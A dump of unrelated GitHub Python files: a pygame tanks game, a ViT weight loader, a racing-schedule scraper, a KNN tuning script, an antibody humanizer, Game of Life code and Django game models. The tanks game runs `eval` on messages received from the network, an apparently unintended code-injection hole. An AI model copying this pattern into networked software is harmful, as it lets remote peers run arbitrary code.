int(msg[3])\n miss = Missiles(thx, thy)\n self.missiles.add(miss)\n \n # elif (command == \"otherHealth\"):\n # PID = msg[2]\n # d = msg[3]\n # if PID in self.others:\n # self.others[PID].health -= d\n \n elif (command == \"obs\"):\n PID = msg[1]\n obsLst = eval(reduce(lambda x, y: x + y, msg[2:]))\n obs = self.redoObs(obsLst)\n self.obs = obs\n \n elif (command == \"star\"):\n for row in self.obs:\n for block in row:\n if isinstance(block, Star):\n block.life = 0\n \n elif (command == \"addBlock\"):\n x, y = int(msg[2]), int(msg[3])\n self.obs[x][y].life = 1\n \n except:\n print(\"failed\")\n serverMsg.task_done()\n \n # Check if other players are connected. \n def otherConnected(self):\n for PID in self.othersState:\n if self.othersState[PID] == False:\n return False\n return True\n \n # If other player all get 0 life, the player wins. \n def playerWin(self):\n otherDeath = 0\n for other in self.others:\n if self.others[other].health > 0:\n return False\n return True\n \n def redrawAll(self, screen):\n black = (0,0,0)\n red = (255,0,0)\n blue = (0,0,255)\n white = (255,255,255)\n screen.blit(self.menuBg, (0, 0))\n # The start menu\n if self.me == False and self.aiMode == False:\n fontSize = 50\n font = pygame.font.SysFont(None, fontSize)\n \n # Game name\n text = font.render(\"Tanks Battle\", True, black)\n textRect = text.get_rect()\n textRect.center = (self.width/2, self.first[0][1]-self.buttonH)\n screen.blit(text, textRect)\n \n # Button options\n text1 = font.render(\"AI\", True, self.bgColor)\n textRect1 = text1.get_rect()\n textRect1.center = (self.width/2, self.buttonH/2+self.first[0][1])\n \n text2 = font.render(\"2 players\", True, self.bgColor)\n textRect2 = text2.get_rect()\n textRect2.center = (self.width/2, self.buttonH/2+self.first[1][1])\n \n text3 = font.render(\"3 players\", True, self.bgColor)\n textRect3 = text3.get_rect()\n textRect3.center = (self.width/2, self.buttonH/2+self.first[2][1])\n \n text4 = font.render(\"4 players\", True, self.bgColor)\n textRect4 = text4.get_rect()\n textRect4.center = (self.width/2, self.buttonH/2+self.first[3][1])\n \n # draw buttons and text\n pygame.draw.rect(screen, white, [self.first[0][0], self.first[0][1], self.buttonW, self.buttonH], 5)\n screen.blit(text1, textRect1)\n pygame.draw.rect(screen, white, [self.first[1][0], self.first[1][1], self.buttonW, self.buttonH], 5)\n screen.blit(text2, textRect2)\n pygame.draw.rect(screen, white, [self.first[2][0], self.first[2][1], self.buttonW, self.buttonH], 5)\n screen.blit(text3, textRect3)\n pygame.draw.rect(screen, white, [self.first[3][0], self.first[3][1], self.buttonW, self.buttonH], 5)\n screen.blit(text4, textRect4)\n \n # Drawing and winning stratigy for AI mode\n elif self.aiMode == True:\n pygame.mixer.music.stop()\n screen.blit(self.background, (0, 0))\n self.player.draw(screen, blue)\n self.ai.draw(screen, red)\n for row in self.obs:\n for block in row:\n if isinstance(block, Block):\n if isinstance(block, Star):\n block.draw(screen)\n else:\n block.drawBlock(screen)\n # draw bombs\n for bomb in self.bombs:\n bomb.draw(screen)\n for missile in self.missiles:\n missile.draw(screen)\n # draw bullets\n for bullet in self.playerBullets:\n bullet.draw(screen)\n for bullet in self.aiBullets:\n bullet.draw(screen)\n # winning and losing conditions \n if self.player.health <= 0 or self.ai.health <= 0:\n fontSize = 150\n font = pygame.font.SysFont(None, fontSize)\n backgr = pygame.transform.scale(pygame.image.load(\"gg.jpg\").convert_alpha(), [self.width, self.height])\n screen.blit(backgr, (0,0))\n if self.player.health <= 0:\n text = font.render(\"You Lose\", True, self.bgColor)\n textRect = text.get_rect()\n textRect.center = (self.width/2, self.height/2)\n screen.blit(text, textRect)\n \n else:\n text = font.render(\"You Win!\", True, self.bgColor)\n textRect = text.get_rect()\n textRect.center = (self.width/2, self.height/2)\n screen.blit(text, textRect)\n \n \n # Drawing and winning stratigy for multiplayer mode\n elif self.me == True:\n pygame.mixer.music.stop()\n fontSize = 100\n font = pygame.font.SysFont(None, fontSize)\n text = font.render(\"Connecting...\", True, self.bgColor)\n textRect = text.get_rect()\n textRect.center = (self.width/2, self.height/2)\n screen.blit(text, textRect)\n if self.otherConnected():\n screen.blit(self.background, (0, 0))\n # draw blocks. \n for row in self.obs:\n for block in row:\n if isinstance(block, Block):\n if isinstance(block, Star):\n block.draw(screen)\n else:\n block.drawBlock(screen)\n # draw bombs\n for bomb in self.bombs:\n bomb.draw(screen)\n for missile in self.missiles:\n missile.draw(screen)\n # draw other players\n for playerName in self.others:\n self.others[playerName].draw(screen, blue)\n # draw me\n self.player.draw(screen, red)\n # draw bullets\n for PID in self.otherBullets:\n for bullet in self.otherBullets[PID]:\n bullet.draw(screen)\n for bullet in self.playerBullets:\n bullet.draw(screen)\n \n # draw ending screen when game is over.\n if self.player.health <= 0 or self.playerWin():\n fontSize = 150\n font = pygame.font.SysFont(None, fontSize)\n backgr = pygame.transform.scale(pygame.image.load(\"gg.jpg\").convert_alpha(), [self.width, self.height])\n screen.blit(backgr, (0,0))\n if self.player.health <= 0:\n text = font.render(\"You Lose\", True, self.bgColor)\n textRect = text.get_rect()\n textRect.center = (self.width/2, self.height/2)\n screen.blit(text, textRect)\n \n elif self.playerWin():\n text = font.render(\"You Win!\", True, self.bgColor)\n textRect = text.get_rect()\n textRect.center = (self.width/2, self.height/2)\n screen.blit(text, textRect)\n \n def isKeyPressed(self, key):\n ''' return whether a specific key is being held '''\n return self._keys.get(key, False)\n\n def __init__(self, width=600, height=600, fps=50, title=\"112 Pygame Game\", server=None, serverMsg=None):\n self.width = width\n self.height = height\n self.fps = fps\n self.title = title\n self.bgColor = (255, 255, 255)\n self.server = server\n self.serverMsg = serverMsg\n pygame.init()\n\n def run(self):\n\n clock = pygame.time.Clock()\n screen = pygame.display.set_mode((self.width, self.height))\n \n # set the title of the window\n pygame.display.set_caption(self.title)\n\n # stores all the keys currently being held down\n self._keys = dict()\n \n # call game-specific initialization\n self.init()\n playing = True\n \n pygame.mixer.music.load(\"Wiser.wav\")\n pygame.mixer.music.play(-1)\n \n while playing:\n time = clock.tick(self.fps)\n self.timerFired(time)\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n self.mousePressed(*(event.pos))\n elif event.type == pygame.MOUSEBUTTONUP and event.button == 1:\n self.mouseReleased(*(event.pos))\n elif (event.type == pygame.MOUSEMOTION and\n event.buttons == (0, 0, 0)):\n self.mouseMotion(*(event.pos))\n elif (event.type == pygame.MOUSEMOTION and\n event.buttons[0] == 1):\n self.mouseDrag(*(event.pos))\n elif event.type == pygame.KEYDOWN:\n self._keys[event.key] = True\n self.keyPressed(event.key, event.mod)\n elif event.type == pygame.KEYUP:\n self._keys[event.key] = False\n self.keyReleased(event.key, event.mod)\n elif event.type == pygame.QUIT:\n playing = False\n screen.fill(self.bgColor)\n self.redrawAll(screen)\n pygame.display.update()\n\n pygame.quit()\n quit()\n \nserverMsg = Queue(100)\nthreading.Thread(target = handleServerMsg, args = (server, serverMsg)).start()\n\n\ndef main():\n game = PygameGame()\n game.run()\n\nif __name__ == '__main__':\n main()","repo_name":"lingruifan/Tnaks-Battle","sub_path":"pygamegame.py","file_name":"pygamegame.py","file_ext":"py","file_size_in_byte":31876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"75178005175","text":"import torch as th\nimport math\nimport numpy as np\nimport os\nfrom scipy import ndimage\n\n\nL_ROOT = 'Transformer/encoderblock_{}'\nATT_Q = 'MultiHeadDotProductAttention_1/query'\nATT_K = 'MultiHeadDotProductAttention_1/key'\nATT_V = 'MultiHeadDotProductAttention_1/value'\nATT_OUT = 'MultiHeadDotProductAttention_1/out'\nATT_NORM = 'LayerNorm_0'\nFFN_NORM = 'LayerNorm_2'\nFFN_IN = 'MlpBlock_3/Dense_0'\nFFN_OUT = 'MlpBlock_3/Dense_1'\n\ndef np2th(weights, is_conv=False):\n if is_conv:\n \"\"\" convert HWIO to OIHW.\"\"\"\n weights = weights.transpose([3, 2, 0, 1])\n return th.from_numpy(weights).contiguous()\n\nclass ViTWeightLoader(object):\n def __init__(self, layer_num, img_size, patch_size, weight_path=None, classifier='token'):\n \"\"\"weights need be a state_dict of swin transformer model\"\"\"\n layer_weight_names = [\n os.path.join(L_ROOT, ATT_NORM, 'scale' ),\n os.path.join(L_ROOT, ATT_NORM, 'bias' ),\n os.path.join(L_ROOT, ATT_Q, 'kernel' ),\n os.path.join(L_ROOT, ATT_Q, 'bias' ),\n os.path.join(L_ROOT, ATT_K, 'kernel' ),\n os.path.join(L_ROOT, ATT_K, 'bias' ),\n os.path.join(L_ROOT, ATT_V, 'kernel' ),\n os.path.join(L_ROOT, ATT_V, 'bias' ),\n os.path.join(L_ROOT, ATT_OUT, 'kernel' ),\n os.path.join(L_ROOT, ATT_OUT, 'bias' ),\n os.path.join(L_ROOT, FFN_NORM, 'scale' ),\n os.path.join(L_ROOT, FFN_NORM, 'bias' ),\n os.path.join(L_ROOT, FFN_IN, 'kernel' ),\n os.path.join(L_ROOT, FFN_IN, 'bias' ),\n os.path.join(L_ROOT, FFN_OUT, 'kernel' ),\n os.path.join(L_ROOT, FFN_OUT, 'bias' )\n ]\n \n pre_layer_weight_names = [\n 'embedding/kernel',\n 'embedding/bias',\n 'cls',\n 'Transformer/posembed_input/pos_embedding'\n ]\n post_layer_weight_names = [\n 'Transformer/encoder_norm/scale', \n 'Transformer/encoder_norm/bias' \n ]\n self.layer_num = layer_num\n self.weights = []\n if weight_path is None:\n print(\"[ERROR][SwinTransformerWeights::__init__] weights should not be empty!\")\n exit(-1)\n else:\n self._generated_weights = False\n weight_dict = self.load_weights(weight_path)\n\n for name in pre_layer_weight_names:\n if name not in weight_dict.files:\n print(\"Unsupported weight file: Missing weights %s\" % name)\n is_conv = name == 'embedding/kernel'\n\n if classifier != 'token' and name == 'cls':\n continue\n\n th_weight = np2th(weight_dict[name], is_conv)\n if name.split('/')[-1] == \"pos_embedding\":\n posemb_new_size = pow(img_size//patch_size, 2) + 1\n if th_weight.size(1) != posemb_new_size:\n print(\"load_pretrained: resized variant: %s to %s\" % (th_weight.size(1), posemb_new_size))\n ntok_new = posemb_new_size\n\n if classifier == \"token\":\n posemb_tok, posemb_grid = th_weight[:, :1], th_weight[0, 1:]\n ntok_new -= 1\n else:\n posemb_tok, posemb_grid = th_weight[:, :0], th_weight[0]\n\n gs_old = int(np.sqrt(len(posemb_grid)))\n gs_new = int(np.sqrt(ntok_new))\n print('load_pretrained: grid-size from %s to %s' % (gs_old, gs_new))\n posemb_grid = posemb_grid.reshape(gs_old, gs_old, -1)\n\n zoom = (gs_new / gs_old, gs_new / gs_old, 1)\n posemb_grid = ndimage.zoom(posemb_grid, zoom, order=1)\n posemb_grid = posemb_grid.reshape(1, gs_new * gs_new, -1)\n posemb = np.concatenate([posemb_tok, posemb_grid], axis=1)\n th_weight = np2th(posemb)\n\n self.weights.append(th_weight)\n #loop over layers\n for layer_idx in range(layer_num):\n for name in layer_weight_names:\n w_name = name.format(layer_idx)\n if w_name not in weight_dict.files:\n print(\"Unsupported weight file: Missing weights %s\" % w_name)\n th_weight = np2th(weight_dict[w_name])\n self.weights.append(th_weight)\n\n for name in post_layer_weight_names:\n if name not in weight_dict.files:\n print(\"Unsupported weight file: Missing weights %s\" % name)\n th_weight = np2th(weight_dict[name])\n self.weights.append(th_weight)\n \n def load_weights(self, weight_path:str):\n suffix = weight_path.split('.')[-1]\n if suffix != 'npz':\n print(\"Unsupported weight file: Unrecognized format %s \" % suffix)\n exit(-1)\n return np.load(weight_path)\n\n def to_cuda(self):\n for idx, v in enumerate(self.weights):\n self.weights[idx] = v.cuda()\n\n def to_half(self):\n for idx, v in enumerate(self.weights):\n self.weights[idx] = v.half()\n\n","repo_name":"NVIDIA/FasterTransformer","sub_path":"examples/pytorch/vit/VisionTransformerWeightLoader.py","file_name":"VisionTransformerWeightLoader.py","file_ext":"py","file_size_in_byte":5775,"program_lang":"python","lang":"en","doc_type":"code","stars":4904,"dataset":"github-code","pt":"22"} +{"seq_id":"39054741107","text":"from datetime import datetime\nfrom typing import cast\nfrom bs4 import Tag\nfrom pydantic import BaseModel, validator\nfrom dateutil.parser import parse\nfrom unidecode import unidecode\nfrom shared import beginning_of_today\nfrom dateutil.tz import tzlocal\n\n\nfrom constants import INDYCAR_CHANNEL_GOODLIST, HARD_TIMES_BADLIST\n\n\ndef convert_date(element: Tag) -> str:\n br_tag = element.find(\"br\")\n if isinstance(br_tag, Tag):\n time = br_tag.text\n br_tag.replaceWith(\" \")\n day = element.text\n assembled_datetime_str = f\"{day} {time}\" if time else day\n decoded_text = unidecode(assembled_datetime_str)\n return decoded_text.replace(\"Noon\", \" 12:00 PM\").replace(\" ET\", \"\")\n\n\ndef convert_race_name(element: Tag) -> str:\n title = element.find(\"b\")\n if isinstance(title, Tag):\n return title.text\n else: # this should never happen\n return element.text\n\n\nclass IndycarRace(BaseModel):\n start_datetime: datetime\n race_name: str\n channel: str\n\n @validator(\"start_datetime\", pre=True)\n def convert_datetime(cls, value):\n return parse(value).astimezone(tzlocal())\n\n\nclass IndycarResponse(BaseModel):\n class Config:\n arbitrary_types_allowed = True\n\n race_elements_container: Tag\n races: list[IndycarRace] = []\n\n def __init__(self, **data):\n super().__init__(**data)\n self.races = self.convert_races()\n\n def convert_races(self) -> list[IndycarRace]:\n races: list[IndycarRace] = []\n rows = self.race_elements_container.find_all(\n True, {\"class\": [\"oddrow\", \"evenrow\"]}\n )\n\n for row in rows:\n cols = cast(list[Tag], row.find_all(\"td\"))\n\n races.append(\n IndycarRace(\n start_datetime=convert_date(cols[0]),\n race_name=convert_race_name(cols[1]),\n channel=cols[2].text,\n )\n )\n\n return races\n\n @property\n def usable_events(self) -> list[IndycarRace]:\n return [\n race\n for race in self.races\n if race.channel\n in list(set(INDYCAR_CHANNEL_GOODLIST) - set(HARD_TIMES_BADLIST))\n and race.start_datetime > beginning_of_today\n ]\n","repo_name":"marker004/notion-sports-schedules","sub_path":"app/models/indycar.py","file_name":"indycar.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"32437497211","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom pylab import *\nimport itertools\nfrom sklearn.model_selection import KFold,RepeatedKFold\nfrom sklearn.svm import SVR\nfrom sklearn.metrics import mean_squared_error,mean_absolute_error,r2_score\n\ndf = pd.read_excel('../raw.xlsx')\nnames = df.columns.to_list()\n\ndf_norm = (df[names]-np.mean(df[names]))/np.std(df[names])\n\ny = np.array(df_norm['Eads']).reshape(-1,1)\nxlist = 'WF'\nx = np.array(df_norm[['WF','d','WEN','RAM']]).reshape(-1,4)\nfor k in range(1,10):\n model = KNeighborsRegressor(k)\n columns = ['features','R2','R2_train','R2_test','RMSE_train',\n 'MAE_train','RMSE_test','MAE_test','R2_train_max','R2_train_min',\n 'R2_test_max','R2_test_min','RMSE_train_max','RMSE_train_min',\n 'MAE_train_max','MAE_train_min','RMSE_test_max','RMSE_test_min',\n 'MAE_test_max','MAE_test_min']\n features,R2,R2_train,R2_test,RMSE_train,MAE_train,RMSE_test,MAE_test=[],[],[],[],[],[],[],[]\n R2_train_max,R2_train_min,R2_test_max,R2_test_min,RMSE_train_max,RMSE_train_min=[],[],[],[],[],[]\n MAE_train_max,MAE_train_min,RMSE_test_max,RMSE_test_min,MAE_test_max,MAE_test_min=[],[],[],[],[],[]\n for l in xlist:\n features.append(k)\n folds,repeats = 10,50\n kf = RepeatedKFold(n_splits=folds, n_repeats=repeats, random_state=10)\n r2 = r2_score(y,model.fit(x,y.ravel()).predict(x))\n R2.append(r2)\n \n results_all = ['r2_train','r2_test','rmse_train',\n 'mae_train','rmse_test','mae_test']\n r2_train,r2_test,rmse_train,mae_train,rmse_test,mae_test=[],[],[],[],[],[]\n for train, test in kf.split(x,y):\n x_train,y_train = x[train],y[train]\n x_test,y_test = x[test],y[test]\n \n y_train_pred = model.fit(x_train,y_train.ravel()).predict(x_train)\n y_test_pred = model.fit(x_train,y_train.ravel()).predict(x_test)\n std = np.std(df['Eads']); mean = np.mean(df['Eads'])\n r2_train.append(r2_score(y_train,y_train_pred))\n r2_test.append(r2_score(y_test,y_test_pred))\n mae_test.append(mean_absolute_error(y_test*std+mean,y_test_pred*std+mean))\n mae_train.append(mean_absolute_error(y_train*std+mean,y_train_pred*std+mean))\n rmse_test.append(mean_squared_error(y_test*std+mean,y_test_pred*std+mean)**0.5)\n rmse_train.append(mean_squared_error(y_train*std+mean,y_train_pred*std+mean)**0.5)\n \n R2_train.append(np.array(r2_train).mean())\n R2_test.append(np.array(r2_test).mean())\n RMSE_train.append(np.array(rmse_train).mean())\n MAE_train.append(np.array(mae_train).mean())\n RMSE_test.append(np.array(rmse_test).mean())\n MAE_test.append(np.array(mae_test).mean())\n R2_train_max.append(np.array(r2_train).max())\n R2_train_min.append(np.array(r2_train).min())\n R2_test_max.append(np.array(r2_test).max())\n R2_test_min.append(np.array(r2_test).min())\n RMSE_train_max.append(np.array(rmse_train).max())\n RMSE_train_min.append(np.array(rmse_train).min())\n MAE_train_max.append(np.array(mae_train).max())\n MAE_train_min.append(np.array(mae_train).min())\n RMSE_test_max.append(np.array(rmse_test).max())\n RMSE_test_min.append(np.array(rmse_test).min())\n MAE_test_max.append(np.array(mae_test).max())\n MAE_test_min.append(np.array(mae_test).min())\n \n results = pd.DataFrame(data = list(zip(features,R2,R2_train,R2_test,RMSE_train,MAE_train,\n RMSE_test,MAE_test,R2_train_max,R2_train_min,R2_test_max,\n R2_test_min,RMSE_train_max,RMSE_train_min,\n MAE_train_max,MAE_train_min,RMSE_test_max,\n RMSE_test_min,MAE_test_max,MAE_test_min)),columns=columns)\n results = results.sort_values(by=['R2_test'],ascending=False)\n print('------K value '+str(k)+' over------') \n results.to_csv('k='+str(k)+f'_knn_{repeats}.csv',index=False)\n","repo_name":"ywwang0/High-throughput-screens-corrosion-resistant-binary-magnesium-alloy","sub_path":"KNN_tune_para.py","file_name":"KNN_tune_para.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"12601431922","text":"import argparse\nfrom typing import List, Optional, Tuple\n\nfrom humanization import config_loader, utils\nfrom humanization.abstract_humanizer import run_humanizer, AbstractHumanizer, SequenceChange, is_change_less, \\\n IterationDetails, read_humanizer_options, seq_to_str, abstract_humanizer_parser_options\nfrom humanization.annotations import annotate_single\nfrom humanization.models import load_model, ModelWrapper\nfrom humanization.utils import configure_logger, read_sequences, write_sequences, parse_list\nfrom humanization.v_gene_scorer import VGeneScorer, build_v_gene_scorer, calc_score, is_v_gene_score_less\n\nconfig = config_loader.Config()\nlogger = configure_logger(config, \"Humanizer\")\n\n\nclass Humanizer(AbstractHumanizer):\n def __init__(self, model_wrapper: ModelWrapper, v_gene_scorer: Optional[VGeneScorer], modify_cdr: bool,\n skip_positions: List[str], deny_use_aa: List[str], deny_change_aa: List[str], use_aa_similarity: bool):\n super().__init__(model_wrapper, v_gene_scorer)\n self.modify_cdr = modify_cdr\n self.skip_positions = skip_positions\n self.deny_insert_aa = deny_use_aa\n self.deny_delete_aa = deny_change_aa\n self.use_aa_similarity = use_aa_similarity\n\n def _test_single_change(self, sequence: List[str], column_idx: int) -> SequenceChange:\n aa_backup = sequence[column_idx]\n best_change = SequenceChange(None, aa_backup, None, 0.0)\n if aa_backup in self.deny_delete_aa:\n return best_change\n for new_aa in utils.AA_ALPHABET: # TODO: make it batched\n if aa_backup == new_aa or new_aa in self.deny_insert_aa:\n continue\n sequence[column_idx] = new_aa\n new_value = self.model_wrapper.model.predict_proba(sequence)[1]\n candidate_change = SequenceChange(column_idx, aa_backup, new_aa, new_value)\n if is_change_less(best_change, candidate_change, self.use_aa_similarity):\n best_change = candidate_change\n sequence[column_idx] = aa_backup\n return best_change\n\n def _find_best_change(self, current_seq: List[str]):\n current_value = self.model_wrapper.model.predict_proba(current_seq)[1]\n best_change = SequenceChange(None, None, None, current_value)\n for idx, column_name in enumerate(self.model_wrapper.annotation.segmented_positions):\n if not self.modify_cdr and column_name.startswith('cdr'):\n continue\n if column_name in self.skip_positions:\n continue\n candidate_change = self._test_single_change(current_seq, idx)\n if is_change_less(best_change, candidate_change, self.use_aa_similarity):\n best_change = candidate_change\n return best_change\n\n def query(self, sequence: str, target_model_metric: float,\n target_v_gene_score: Optional[float] = None) -> Tuple[str, List[IterationDetails]]:\n current_seq = annotate_single(sequence, self.model_wrapper.annotation)\n if current_seq is None:\n raise RuntimeError(f\"{sequence} cannot be annotated\")\n if self.v_gene_scorer is None and target_v_gene_score is not None:\n logger.warning(f\"V Gene scorer not defined, so target score ignored\")\n logger.debug(f\"Annotated sequence: {seq_to_str(current_seq, True)}\")\n iterations = []\n current_value, v_gene_score = self._calc_metrics(current_seq)\n iterations.append(IterationDetails(0, current_value, v_gene_score, None))\n for it in range(1, config.get(config_loader.MAX_CHANGES) + 1):\n current_value, v_gene_score = self._calc_metrics(current_seq)\n logger.info(f\"Iteration {it}. \"\n f\"Current model metric = {round(current_value, 6)}, V Gene score = {v_gene_score}\")\n best_change = self._find_best_change(current_seq)\n if best_change.is_defined():\n prev_aa = current_seq[best_change.position]\n current_seq[best_change.position] = best_change.aa\n column_name = self.model_wrapper.annotation.segmented_positions[best_change.position]\n logger.info(f\"Best change position {column_name}: {prev_aa} -> {best_change.aa}\")\n best_value, v_gene_score = self._calc_metrics(current_seq)\n iterations.append(IterationDetails(it, best_value, v_gene_score, best_change))\n if target_model_metric <= current_value and is_v_gene_score_less(target_v_gene_score, v_gene_score):\n logger.info(f\"Target metrics are reached ({round(current_value, 6)})\")\n break\n else:\n logger.info(f\"No effective changes found. Stop algorithm on model metric = {round(current_value, 6)}\")\n break\n return seq_to_str(current_seq, False), iterations\n\n\ndef main(models_dir, input_file, dataset_file, annotated_data, modify_cdr, skip_positions,\n deny_use_aa, deny_change_aa, use_aa_similarity, output_file):\n chain_type, target_model_metric, target_v_gene_score = read_humanizer_options(dataset_file)\n model_wrapper = load_model(models_dir, chain_type)\n v_gene_scorer = build_v_gene_scorer(model_wrapper.annotation, dataset_file, annotated_data)\n humanizer = Humanizer(\n model_wrapper, v_gene_scorer, modify_cdr,\n parse_list(skip_positions), parse_list(deny_use_aa), parse_list(deny_change_aa), use_aa_similarity\n )\n sequences = read_sequences(input_file)\n results = run_humanizer(sequences,\n lambda seq: humanizer.query(seq, target_model_metric, target_v_gene_score))\n write_sequences(output_file, results)\n\n\ndef common_parser_options(parser):\n abstract_humanizer_parser_options(parser)\n parser.add_argument('--modify-cdr', action='store_true', help='Allow CDR modifications')\n parser.add_argument('--skip-cdr', dest='modify_cdr', action='store_false', help='Deny CDR modifications')\n parser.set_defaults(modify_cdr=True)\n parser.add_argument('--deny-use-aa', type=str, default=\",\".join(utils.TABOO_INSERT_AA), required=False,\n help='Amino acids that could not be used')\n parser.add_argument('--deny-change-aa', type=str, default=\",\".join(utils.TABOO_DELETE_AA), required=False,\n help='Amino acids that could not be changed')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='''Humanizer''')\n parser.add_argument('--input', type=str, required=False, help='Path to input fasta file')\n parser.add_argument('--output', type=str, required=False, help='Path to output fasta file')\n common_parser_options(parser)\n\n args = parser.parse_args()\n\n main(models_dir=args.models,\n input_file=args.input,\n dataset_file=args.dataset,\n annotated_data=args.annotated_data,\n modify_cdr=args.modify_cdr,\n skip_positions=args.skip_positions,\n deny_use_aa=args.deny_use_aa,\n deny_change_aa=args.deny_change_aa,\n use_aa_similarity=args.use_aa_similarity,\n output_file=args.output)\n","repo_name":"Alexvsalexvsalex/AntibodyHumanization","sub_path":"python/src/humanization/humanizer.py","file_name":"humanizer.py","file_ext":"py","file_size_in_byte":7154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23324019399","text":"from typing import Tuple\n\nfrom gol.conf import settings\nfrom gol.worlds import CellTypes\nfrom numpy import count_nonzero, ndarray, ndenumerate, zeros\n\n\ndef cell_lives(cycle: CellTypes, count: int) -> bool:\n \"\"\"\n These cells have either 2 or 3 neighbours that are also alive,\n and hence, they will stay alive for another generation.\n :param cycle:\n :param count:\n :return:\n \"\"\"\n return cycle is not CellTypes.DEAD and count in [2, 3]\n\n\ndef cell_spawns(cycle: CellTypes, count: int) -> bool:\n \"\"\"\n If a cell has exactly three living neighbours, this dead cell will\n sprout new life.\n :return:\n \"\"\"\n return cycle is CellTypes.DEAD and count == 3\n\n\ndef neighbour_count(cell_index: Tuple[int, int], world: ndarray) -> int:\n \"\"\"\n Counts the number of cells neighbouring the index that are alive.\n :param cell_index:\n :param world:\n :return:\n \"\"\"\n row, col = cell_index\n row_count, column_count = world.shape\n\n top_row, bottom_row = max(0, row - 1), min(row_count, row + 2)\n left_column, right_column = max(0, col - 1), min(column_count, col + 2)\n\n subset = world[top_row:bottom_row, left_column:right_column]\n\n if world[cell_index] > 0:\n return max(count_nonzero(subset) - 1, 0)\n\n return count_nonzero(subset)\n\n\ndef cell_mutation(index: Tuple[int, int], world: ndarray) -> CellTypes:\n \"\"\"\n Determines the next state of the given cell.\n :param index:\n :param world:\n :return:\n \"\"\"\n previous_cycle, next_cycle = CellTypes(world[index]), CellTypes.DEAD\n count = neighbour_count(cell_index=index, world=world)\n\n if cell_lives(cycle=previous_cycle, count=count):\n next_cycle = CellTypes.ALIVE\n elif cell_spawns(cycle=previous_cycle, count=count):\n next_cycle = CellTypes.SPAWNED\n\n return next_cycle\n\n\ndef world_mutation(world: ndarray) -> ndarray:\n \"\"\"\n Applies the various mutations to the entire world of cells.\n :param world:\n :return:\n \"\"\"\n _new_world = zeros(shape=world.shape, dtype=settings.NUMPY_DATA_TYPE)\n\n for index, cell_value in ndenumerate(world):\n _new_world[index] = cell_mutation(index=index, world=world)\n\n return _new_world\n","repo_name":"arbroen/gameoflife","sub_path":"src/gol/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"20278718653","text":"import django.db\nfrom django.db import models\nfrom django.db.models import F\n\nfrom django.contrib.auth.models import User\n\nclass UserProfile(models.Model):\n \"\"\"This is some game-specific data about users or players.\"\"\"\n user = models.OneToOneField(User)\n unix_uid = models.BigIntegerField(null=True, blank=True, unique=True)\n unix_username = models.CharField(\n max_length=32,\n null=True,\n blank=True,\n unique=False,\n )\n sql_username = models.CharField(\n max_length=32,\n null=True,\n blank=True,\n unique=False\n )\n\n def __unicode__(self):\n return \"UserProfile for user '\" + self.user.username + \"'\"\n\nclass Currency(models.Model):\n \"\"\"This is a currency in the game.\"\"\"\n name = models.CharField(max_length=32, unique=True)\n\n class Meta:\n verbose_name_plural = 'currencies'\n\n def __unicode__(self):\n return \"Currency '\" + self.name + \"'\"\n\nclass MoneyCurrency(models.Model):\n \"\"\"This is the currency which currently stands for money in the\n game. Don't make more than one of this.\n \"\"\"\n\n currency = models.ForeignKey(Currency)\n\nclass InsufficientFundsError(Exception):\n \"\"\"This is an exception thrown to indicate that an operation has\n failed due to an insufficient account balance.\n \"\"\"\n\n def __init__(self, account, balance, amount):\n super(InsufficientFundsError, self).__init__()\n self.account = account\n self.balance = balance\n self.amount = amount\n\nclass Account(models.Model):\n \"\"\"This is an account of some user in some currency.\"\"\"\n user = models.ForeignKey(User)\n currency = models.ForeignKey(Currency)\n # positive balance is an asset of user, negative is a liability.\n balance = models.BigIntegerField(default=0)\n\n class Meta:\n unique_together = ('user', 'currency')\n\n def __unicode__(self):\n return ('Account of user \"%s\" in currency \"%s\"' %\n (self.user.username, str(self.currency)))\n\n def credit_or_debit(self, amount, allow_negative=False, description=''):\n # amount is positive for a credit, negative for a debit.\n\n # If allow_negative is false, we don't want to allow debits resulting\n # in a negative balance. However, we do want to allow all credits.\n if (not allow_negative) and amount < 0 and self.balance + amount < 0:\n raise InsufficientFundsError(self, self.balance, amount)\n else:\n self.balance += amount\n self.save()\n \n trans = Transaction()\n trans.account = self\n trans.amount = amount\n trans.description = description\n trans.save()\n\nclass Transaction(models.Model):\n \"\"\"This is a record of a credit or debit to an account.\"\"\"\n account = models.ForeignKey(Account)\n # 'amount' is positive for a credit, negative for a debit\n amount = models.BigIntegerField()\n date = models.DateTimeField(auto_now = True)\n description = models.CharField(max_length=128)\n\n def __unicode__(self):\n return (\n 'Transaction to credit %s units of currency \"%s\" to user \"%s\" at '\n '%s with description: %s' %\n (self.amount, str(self.account.currency),\n self.account.user.username, self.date, self.description)\n )\n\nclass Plot(models.Model):\n \"\"\"This is an in-game plot of land on which something can be built.\"\"\"\n lessee = models.ForeignKey(User, null=True, blank=True)\n days_left = models.PositiveIntegerField(default=0)\n\n @django.db.transaction.atomic\n def upkeep(self):\n if self.days_left > 0:\n self.days_left -= 1\n\n if self.days_left == 0:\n self.lessee = None\n\n if self.days_left == 0:\n money_currency = MoneyCurrency.objects.get().currency\n\n bids = Bid.objects.filter(currency=money_currency).order_by('-daily_rate')\n\n if bids:\n highest_bid = bids[0]\n try:\n Account.objects.get_or_create(user=highest_bid.bidder, currency=money_currency)[0].credit_or_debit(-highest_bid.daily_rate * highest_bid.days)\n except InsufficientFundsError:\n pass\n else:\n self.lessee = highest_bid.bidder\n self.days_left = highest_bid.days\n finally:\n highest_bid.delete()\n\n self.save()\n\nclass Bid(models.Model):\n \"\"\"This is a bid someone has placed to obtain a plot of land.\"\"\"\n bidder = models.ForeignKey(User)\n daily_rate = models.BigIntegerField()\n currency = models.ForeignKey(Currency)\n days = models.PositiveIntegerField()\n\nclass FactoryType(models.Model):\n name = 